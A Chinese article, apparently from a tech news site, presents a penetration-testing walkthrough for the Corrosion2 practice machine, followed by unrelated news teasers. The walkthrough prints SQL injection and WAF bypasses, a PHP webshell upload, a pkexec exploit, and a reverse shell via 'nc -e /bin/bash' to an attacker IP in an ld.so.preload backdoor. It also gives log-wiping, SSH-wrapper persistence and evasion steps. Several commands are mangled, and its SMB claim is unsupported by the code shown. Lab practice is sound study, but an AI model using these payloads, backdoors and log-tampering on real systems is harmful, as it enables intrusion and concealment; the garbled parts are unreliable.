Corrosion2靶机渗透测试实战指南
1. Corrosion2靶机概述Corrosion2是一款专为网络安全实战训练设计的渗透测试靶机系统。作为安全研究领域的经典训练平台它模拟了企业环境中常见的漏洞配置和安全弱点为安全从业者、CTF选手及网络安全爱好者提供了一个高度仿真的攻防演练环境。这款靶机最初由网络安全社区开发其名称Corrosion腐蚀暗示了系统内存在多种可被逐步渗透的安全缺陷。与第一代相比Corrosion2在漏洞类型、防御机制和场景复杂度上都有显著升级包含从基础注入漏洞到高级权限提升的完整攻击链路。2. 环境搭建与初始配置2.1 系统获取与部署Corrosion2靶机通常以OVA虚拟镜像格式分发支持在VMware Workstation或VirtualBox等虚拟化平台运行。下载后建议进行SHA256校验以确保镜像完整性sha256sum Corrosion2.ova部署时需注意以下关键参数配置内存分配至少2GB复杂场景建议4GB网络模式桥接或NAT根据实训需求选择磁盘空间预留40GB以上空间注意首次启动时会自动执行初始化脚本这个过程可能需要5-10分钟期间不要强制关机。2.2 网络连接验证成功启动后默认会显示系统IP地址。通过nmap进行基础扫描可确认服务状态nmap -sV -O 靶机IP预期应检测到以下开放端口22/tcpSSH通常配置了非标准凭证80/tcpWeb应用主攻入口445/tcpSMB服务常见漏洞点3306/tcpMySQL数据库可能存在弱密码3. 渗透测试路径分析3.1 Web应用层漏洞利用Corrosion2的Web界面包含多个典型漏洞点SQL注入点登录页面的用户名参数存在基于时间的盲注使用sqlmap测试时需注意WAF绕过sqlmap -u http://IP/login --datauser*pass* --level5 --risk3 --techniqueT文件包含漏洞通过URL参数可实现本地文件包含(LFI)尝试读取/etc/passwdhttp://IP/index.php?page../../../../etc/passwd反序列化漏洞Cookie中可能存在Java反序列化点可使用ysoserial生成payloadjava -jar ysoserial.jar CommonsCollections5 curl 攻击机IP payload.bin3.2 权限提升路径获取初始shell后需要通过多种方式提权SUID二进制分析find / -perm -4000 2/dev/null特别注意非常规的SUID程序如/usr/bin/custom_backup内核漏洞利用通过uname -a确认内核版本Corrosion2常见漏洞CVE-2021-4034pkexec提权编译exp时需注意glibc版本兼容性定时任务劫持crontab -l ls -la /etc/cron.*/查找可写的定时任务脚本4. 防御机制与绕过技巧Corrosion2内置了多种现代防御措施4.1 WAF规则分析Web应用前端部署了ModSecurity其特点包括过滤常见SQLi关键词如union select拦截目录遍历特征如../检测快速请求超过50req/秒触发封禁绕过方案使用注释分割uni/**/on sel/**/ectURL双重编码%252e%252e%252f代替../调整请求间隔--delay3参数4.2 文件上传限制上传功能存在多重验证前端JS校验文件扩展名服务端MIME类型检查内容签名验证完整绕过流程# 1. 修改请求包绕过前端 curl -F fileshell.php;typeimage/jpeg http://IP/upload # 2. 添加图片魔数头 echo -e \xFF\xD8\xFF\xE0?php system($_GET[c]);? shell.php.jpg # 3. 利用解析漏洞 /shell.php.jpg/.php5. 实战经验与技巧5.1 日志清理策略Corrosion2会记录详细的操作日志覆盖位置包括/var/log/apache2/access.log/var/log/auth.log~/.bash_history推荐清理方法# 1. 替换自己的IP记录 sed -i s/攻击机IP/8.8.8.8/g /var/log/*.log # 2. 使用内存文件系统操作 mount -t tmpfs tmpfs /var/log -o size10M5.2 持久化维持技巧常见的后门方式容易被检测建议SSH wrapper后门cp /usr/sbin/sshd /usr/sbin/sshd.bak echo exec /bin/bash -c $ /usr/sbin/sshd chmod x /usr/sbin/sshd动态库注入echo void _init() { system(nc -e /bin/bash 攻击机IP 4444); } /tmp/libhack.c gcc -shared -o /tmp/libhack.so /tmp/libhack.c -fPIC echo /tmp/libhack.so /etc/ld.so.preload6. 靶机进阶应用6.1 自定义漏洞扩展通过修改/var/www/html/config.php可以开启隐藏漏洞// 开启XXE漏洞 libxml_disable_entity_loader(false); // 启用危险反序列化 ini_set(unserialize_callback_func, mycallback);6.2 网络拓扑拓展将Corrosion2接入复杂网络环境配置多网卡模拟DMZ区使用iptables构建跳板规则iptables -t nat -A PREROUTING -p tcp --dport 8080 -j DNAT --to-destination 192.168.2.2:80部署蜜罐服务干扰检测我在实际渗透测试中发现Corrosion2的SMB服务存在一个有趣的特性当使用特定空会话请求时会泄露内存中的临时凭证。这需要构造特殊的Negotiate Protocol Request数据包from impacket import smb conn smb.SMB(*SMBSERVER, IP) conn.login(, ) tree conn.connectTree(IPC$) resp conn.createNamedPipe(tree, srvsvc, rw)这种非标准交互方式往往能绕过常规的漏洞检测脚本也是真实环境中经常遇到的特性漏洞典型案例。

相关新闻

VMware虚拟机安装Windows XP MCE:经典系统虚拟化实战指南

VMware虚拟机安装Windows XP MCE:经典系统虚拟化实战指南

在虚拟化技术日益成熟的今天,通过虚拟机来安装和体验经典操作系统,已成为开发者、技术爱好者和怀旧玩家的一种低成本、高效率的探索方式。Windows XP Media Centre Edition(MCE)作为XP家族中面向家庭娱乐的特别版本,集…

2026/8/10 9:30:10 阅读更多 →
XUnity.AutoTranslator:为Unity游戏实现实时翻译的完整解决方案

XUnity.AutoTranslator:为Unity游戏实现实时翻译的完整解决方案

XUnity.AutoTranslator:为Unity游戏实现实时翻译的完整解决方案 【免费下载链接】XUnity.AutoTranslator 项目地址: https://gitcode.com/gh_mirrors/xu/XUnity.AutoTranslator XUnity.AutoTranslator是一个功能强大的Unity游戏自动翻译插件,能够…

2026/8/10 9:29:10 阅读更多 →
Redis 系列(十):高可用(一)——主从复制与哨兵

Redis 系列(十):高可用(一)——主从复制与哨兵

核心目标:理解主从复制的原理(全量/增量同步、replicationid 与 offset)与数据一致性边界;理解哨兵如何实现监控、客观下线与自动故障转移;部署"一主一从一哨兵"环境并完整演练一次主库宕机与旧主归队。 前置…

2026/8/10 9:29:10 阅读更多 →

最新新闻

无需Steam账号也能下载创意工坊模组:WorkshopDL图形化下载器完全指南

无需Steam账号也能下载创意工坊模组:WorkshopDL图形化下载器完全指南

无需Steam账号也能下载创意工坊模组:WorkshopDL图形化下载器完全指南 【免费下载链接】WorkshopDL WorkshopDL - The Best Steam Workshop Downloader 项目地址: https://gitcode.com/gh_mirrors/wo/WorkshopDL 还在为跨平台游戏无法使用Steam创意工坊模组而…

2026/8/10 10:17:33 阅读更多 →
【会议征稿通知 | 四校联合主办 | JPCS出版 | EI 、Scopus稳定检索】第九届机械工程与智能制造国际会议(WCMEIM 2026)

【会议征稿通知 | 四校联合主办 | JPCS出版 | EI 、Scopus稳定检索】第九届机械工程与智能制造国际会议(WCMEIM 2026)

第九届机械工程与智能制造国际会议(WCMEIM 2026) 2026 9th World Conference on Mechanical Engineering and Intelligent Manufacturing 2026年9月18-20日 | 武汉 大会官网:http://www.wcmeim.org 截稿时间:见官网&#xff08…

2026/8/10 10:17:33 阅读更多 →
AI基础设施竞赛:从芯片到能源,解析xAI与SpaceX的硬核基建对决

AI基础设施竞赛:从芯片到能源,解析xAI与SpaceX的硬核基建对决

最近,AI领域的竞争焦点似乎正从模型本身,悄悄转向一个更底层、更“硬核”的战场: AI基础设施 。当大家还在争论哪个大模型参数更多、上下文更长时,马斯克旗下的两家公司——xAI和SpaceX——已经卷起袖子,在数据中心、…

2026/8/10 10:17:33 阅读更多 →
机器学习在中文书目自动分类中的应用与实践

机器学习在中文书目自动分类中的应用与实践

1. 项目背景与核心价值 中文书目自动分类是图书馆数字化管理、学术资源整合和知识图谱构建的基础环节。传统人工分类方式存在效率低、主观性强、标准不统一等问题。我们团队开发的这套基于机器学习的自动分类系统,通过三种经典算法(SVM、随机森林、AdaBo…

2026/8/10 10:17:33 阅读更多 →
MelonLoader完整指南:Unity游戏模组开发的终极解决方案

MelonLoader完整指南:Unity游戏模组开发的终极解决方案

MelonLoader完整指南:Unity游戏模组开发的终极解决方案 【免费下载链接】MelonLoader The Worlds First Universal Mod Loader for Unity Games compatible with both Il2Cpp and Mono 项目地址: https://gitcode.com/gh_mirrors/me/MelonLoader MelonLoader…

2026/8/10 10:17:33 阅读更多 →
Vibe Coding实践:用JSON配置与Spring Boot快速构建全栈应用

Vibe Coding实践:用JSON配置与Spring Boot快速构建全栈应用

在实际项目开发中,我们常常面临一个矛盾:一方面,我们希望快速构建原型、验证想法,将创意转化为可交互的界面;另一方面,传统的软件开发流程,从环境搭建、框架选型到代码编写、调试部署&#xff0…

2026/8/10 10:16:32 阅读更多 →

日新闻

GraphQL-CSS API全解析:useGqlCSS、GqlCSS组件与getStyles实用指南

GraphQL-CSS API全解析:useGqlCSS、GqlCSS组件与getStyles实用指南

GraphQL-CSS API全解析:useGqlCSS、GqlCSS组件与getStyles实用指南 【免费下载链接】graphql-css A blazing fast CSS-in-GQL™ library. 项目地址: https://gitcode.com/gh_mirrors/gr/graphql-css GraphQL-CSS是一个基于GraphQL的CSS-in-GQL™库&#xff0…

2026/8/10 0:00:02 阅读更多 →
告别语言障碍:KISS Translator 双语翻译插件终极指南

告别语言障碍:KISS Translator 双语翻译插件终极指南

告别语言障碍:KISS Translator 双语翻译插件终极指南 【免费下载链接】kiss-translator A simple, open source bilingual translation extension & Greasemonkey script (一个简约、开源的 双语对照翻译扩展 & 油猴脚本) 项目地址: https://gitcode.com/…

2026/8/10 0:00:02 阅读更多 →
BepInEx配置管理器:游戏插件配置的终极可视化解决方案

BepInEx配置管理器:游戏插件配置的终极可视化解决方案

BepInEx配置管理器:游戏插件配置的终极可视化解决方案 【免费下载链接】BepInEx.ConfigurationManager Plugin configuration manager for BepInEx 项目地址: https://gitcode.com/gh_mirrors/be/BepInEx.ConfigurationManager 你是否曾经因为游戏插件的复杂…

2026/8/10 0:00:02 阅读更多 →

周新闻

5分钟告别提取码焦虑:baidupankey如何智能破解百度网盘资源锁

5分钟告别提取码焦虑:baidupankey如何智能破解百度网盘资源锁

5分钟告别提取码焦虑:baidupankey如何智能破解百度网盘资源锁 【免费下载链接】baidupankey 在线查询网盘提取码(维护中 rm repo) 项目地址: https://gitcode.com/gh_mirrors/ba/baidupankey 你是否曾经在深夜寻找一份重要资料&#x…

2026/8/10 1:05:29 阅读更多 →
如何快速生成中国车牌图片:Python开源工具完整指南

如何快速生成中国车牌图片:Python开源工具完整指南

如何快速生成中国车牌图片:Python开源工具完整指南 【免费下载链接】chinese_license_plate_generator 中国车牌生成器 项目地址: https://gitcode.com/gh_mirrors/ch/chinese_license_plate_generator 中国车牌生成器是一个基于Python的开源项目&#xff0c…

2026/8/10 1:05:29 阅读更多 →
收藏!小白程序员轻松入门大模型,从Harness工程开始实践

收藏!小白程序员轻松入门大模型,从Harness工程开始实践

文章强调学习大模型不应只关注模型本身,而应重视模型外的系统搭建,即Harness。提出AgentModelHarness的实用公式,详细介绍Harness的四个层次:持久化层、执行层、控制层和观察与验证层。文章还探讨了上下文工程、工具设计、AGENTS.…

2026/8/10 1:05:29 阅读更多 →

月新闻

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南 【免费下载链接】BaiduNetdiskPlugin-macOS For macOS.百度网盘 破解SVIP、下载速度限制~ 项目地址: https://gitcode.com/gh_mirrors/ba/BaiduNetdiskPlugin-macOS 还在为百度网盘macOS版的龟速下…

2026/8/9 17:05:02 阅读更多 →
终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换

终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换

终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换 【免费下载链接】ncmdump 项目地址: https://gitcode.com/gh_mirrors/ncmd/ncmdump 还在为网易云音乐下载的NCM格式文件无法在其他播放器播放而烦恼吗?ncmdump解密工具帮你轻松解决这个困…

2026/8/10 1:05:29 阅读更多 →
HarmonyOS 应用开发《掌上英语》第81篇: 智能体卡片:为英语学习 App 打造桌面级学习助手

HarmonyOS 应用开发《掌上英语》第81篇: 智能体卡片:为英语学习 App 打造桌面级学习助手

AgentCard 智能体卡片:为英语学习 App 打造桌面级学习助手适用平台:HarmonyOS 7.0 (API 26 Beta)一、引言 HarmonyOS 7.0(API 26 Beta)新增了 AgentCard 智能体卡片能力,这是继 HMAF(鸿蒙智能体框架&#x…

2026/8/9 17:05:02 阅读更多 →